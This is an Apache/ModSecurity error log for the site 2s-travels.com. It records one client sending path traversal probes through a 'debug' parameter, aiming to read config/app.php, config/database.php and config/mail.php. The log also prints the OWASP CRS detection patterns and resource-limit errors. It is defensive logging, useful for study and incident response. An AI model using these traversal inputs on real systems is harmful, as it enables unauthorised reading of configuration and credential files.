[Fri Jul 17 08:55:07.601640 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.601956 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4e39YUk0SgV8AU6fgAAABE"]
[Fri Jul 17 08:55:07.607211 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?debug=..%2F..%2Fconfig%2Fapp.php&cb=D4tLpxC4qzvBpfV8-4HwOoMguOvzN1y9BhsL_AZ4YFqpC08BHBznv4HAcxJGxakLz2jFtwLg1njji5wU43Oy2OfuK56Du_qjYQ7M267Tz8KKS9Cdb8HiRrWszURc0BblnIJZZN8bYN49LwnCOn-RBXmX0_OoGqvliL3knl6BChnIVP9VIXNL9s293WW4B2EWtFbj8MuOrZxuRBND-_n7Ovd_cmLTyQ7JvNdMPkyHubV9xK08Ur0fi44WgmMZX8sgxZWmKJIybEud1tK74U4kYLQ2&ref=SXOJGK75SPIJ6NWNO37D26KN3KKFSGDGZWDDW5CJSKV7U4OW3LYJBSE45JQB46C5VM5J7UHUFOODYDO63P5SXM3GTGJKAIDB34U6UAFQTB26SPUTBKPQSLBZRVG577SALGEZF..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlKwAAAA0"]
[Fri Jul 17 08:55:07.607270 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlKwAAAA0"]
[Fri Jul 17 08:55:07.607316 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?debug=../../config/app.php&cb=D4tLpxC4qzvBpfV8-4HwOoMguOvzN1y9BhsL_AZ4YFqpC08BHBznv4HAcxJGxakLz2jFtwLg1njji5wU43Oy2OfuK56Du_qjYQ7M267Tz8KKS9Cdb8HiRrWszURc0BblnIJZZN8bYN49LwnCOn-RBXmX0_OoGqvliL3knl6BChnIVP9VIXNL9s293WW4B2EWtFbj8MuOrZxuRBND-_n7Ovd_cmLTyQ7JvNdMPkyHubV9xK08Ur0fi44WgmMZX8sgxZWmKJIybEud1tK74U4kYLQ2&ref=SXOJGK75SPIJ6NWNO37D26KN3KKFSGDGZWDDW5CJSKV7U4OW3LYJBSE45JQB46C5VM5J7UHUFOODYDO63P5SXM3GTGJKAIDB34U6UAFQTB26SPUTBKPQSLBZRVG577SALGEZFAWGR3RLHRU66A7..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlKwAAAA0"]
[Fri Jul 17 08:55:07.607342 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?debug=../../config/app.php&cb=d4tlpxc4qzvbpfv8-4hwoomguovzn1y9bhsl_az4yfqpc08bhbznv4hacxjgxaklz2jftwlg1njji5wu43oy2ofuk56du_qjyq7m267tz8kks9cdb8hirrwszurc0bblnijzzn8byn49lwncon-rbxmx0_oogqvlil3knl6bchnivp9vixnl9s293ww4b2ewtfbj8muorzxurbnd-_n7ovd_cmltyq7jvndmpkyhubv9xk08ur0fi44wgmmzx8sgxzwmkjiybeud1tk74u4kylq2&ref=sxojgk75spij6nwno37d26kn3kkfsgdgzwddw5cjskv7u4ow3lyjbse45jqb46c5vm5j7uhufoodydo63p5sxm3gtgjkaidb34u6uafqtb26sputbkpqslbzrvg577salgezfawgr3rlhru66a7..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlKwAAAA0"]
[Fri Jul 17 08:55:07.607360 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlKwAAAA0"]
[Fri Jul 17 08:55:07.607382 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlKwAAAA0"]
[Fri Jul 17 08:55:07.607441 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:debug: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlKwAAAA0"]
[Fri Jul 17 08:55:07.608538 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlKwAAAA0"]
[Fri Jul 17 08:55:07.608668 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.608956 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkyvekYYQ8uns4MwlKwAAAA0"]
[Fri Jul 17 08:55:07.612494 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95rwAAAAw"]
[Fri Jul 17 08:55:07.612550 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95rwAAAAw"]
[Fri Jul 17 08:55:07.612628 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:debug: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95rwAAAAw"]
[Fri Jul 17 08:55:07.613720 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95rwAAAAw"]
[Fri Jul 17 08:55:07.613852 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.614121 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4l9vhFBGA6D8l95rwAAAAw"]
[Fri Jul 17 08:55:07.630973 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?debug=..%2F..%2Fconfig%2Fdatabase.php&ts=heIhEm9tnczJEFqd0nN4Kqdq6YcymrRRHmI0AO6BxBA1ds07fzrkMRHqp5IoA46j18LjOHIXYWAWwBlD5pAcLvUh5dLcdZnuR3AQ-QahJcqbGqorHz7HiOvugXvn0EVrui7thac-CaKC-NXszD6lP-D5wHmjjOcIsknBMTzQ-f18gcpzIXqvqlPHjIgayhbzFHtytCmyJTUundpeGKRDcYlxtnn4aaq-gSUN0AyVF75rlRwcxkc0x2LjhKXopSmPuY8i5qrC2xSjOND16yLDjXx4&cb=7EF35TZYGWKX2GBZWGG44K66JYB7PNKU4M7HMMZJ66DMEYW5EJVQLFEXSZLNG3RURF3AIIKR5GCS3J2IPRDGM3P7H5AVF27RSQ2I2HNNZI2HW3XNJL6NJOZ36AWJWGLJG..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt29gAAACM"]
[Fri Jul 17 08:55:07.631067 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt29gAAACM"]
[Fri Jul 17 08:55:07.631119 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?debug=../../config/database.php&ts=heIhEm9tnczJEFqd0nN4Kqdq6YcymrRRHmI0AO6BxBA1ds07fzrkMRHqp5IoA46j18LjOHIXYWAWwBlD5pAcLvUh5dLcdZnuR3AQ-QahJcqbGqorHz7HiOvugXvn0EVrui7thac-CaKC-NXszD6lP-D5wHmjjOcIsknBMTzQ-f18gcpzIXqvqlPHjIgayhbzFHtytCmyJTUundpeGKRDcYlxtnn4aaq-gSUN0AyVF75rlRwcxkc0x2LjhKXopSmPuY8i5qrC2xSjOND16yLDjXx4&cb=7EF35TZYGWKX2GBZWGG44K66JYB7PNKU4M7HMMZJ66DMEYW5EJVQLFEXSZLNG3RURF3AIIKR5GCS3J2IPRDGM3P7H5AVF27RSQ2I2HNNZI2HW3XNJL6NJOZ36AWJWGLJGDHQRUFDEF4VC34..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt29gAAACM"]
[Fri Jul 17 08:55:07.631167 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?debug=../../config/database.php&ts=heihem9tnczjefqd0nn4kqdq6ycymrrrhmi0ao6bxba1ds07fzrkmrhqp5ioa46j18ljohixywawwbld5paclvuh5dlcdznur3aq-qahjcqbgqorhz7hiovugxvn0evrui7thac-cakc-nxszd6lp-d5whmjjocisknbmtzq-f18gcpzixqvqlphjigayhbzfhtytcmyjtuundpegkrdcylxtnn4aaq-gsun0ayvf75rlrwcxkc0x2ljhkxopsmpuy8i5qrc2xsjond16yldjxx4&cb=7ef35tzygwkx2gbzwgg44k66jyb7pnku4m7hmmzj66dmeyw5ejvqlfexszlng3rurf3aiikr5gcs3j2iprdgm3p7h5avf27rsq2i2hnnzi2hw3xnjl6njoz36awjwgljgdhqrufdef4vc34..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt29gAAACM"]
[Fri Jul 17 08:55:07.631190 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt29gAAACM"]
[Fri Jul 17 08:55:07.631224 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt29gAAACM"]
[Fri Jul 17 08:55:07.631290 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:debug: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt29gAAACM"]
[Fri Jul 17 08:55:07.631532 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PhQAAABk"]
[Fri Jul 17 08:55:07.631571 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PhQAAABk"]
[Fri Jul 17 08:55:07.632430 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt29gAAACM"]
[Fri Jul 17 08:55:07.632579 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.632776 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PhQAAABk"]
[Fri Jul 17 08:55:07.632884 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.632891 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgky0HS8lGbZyK8qt29gAAACM"]
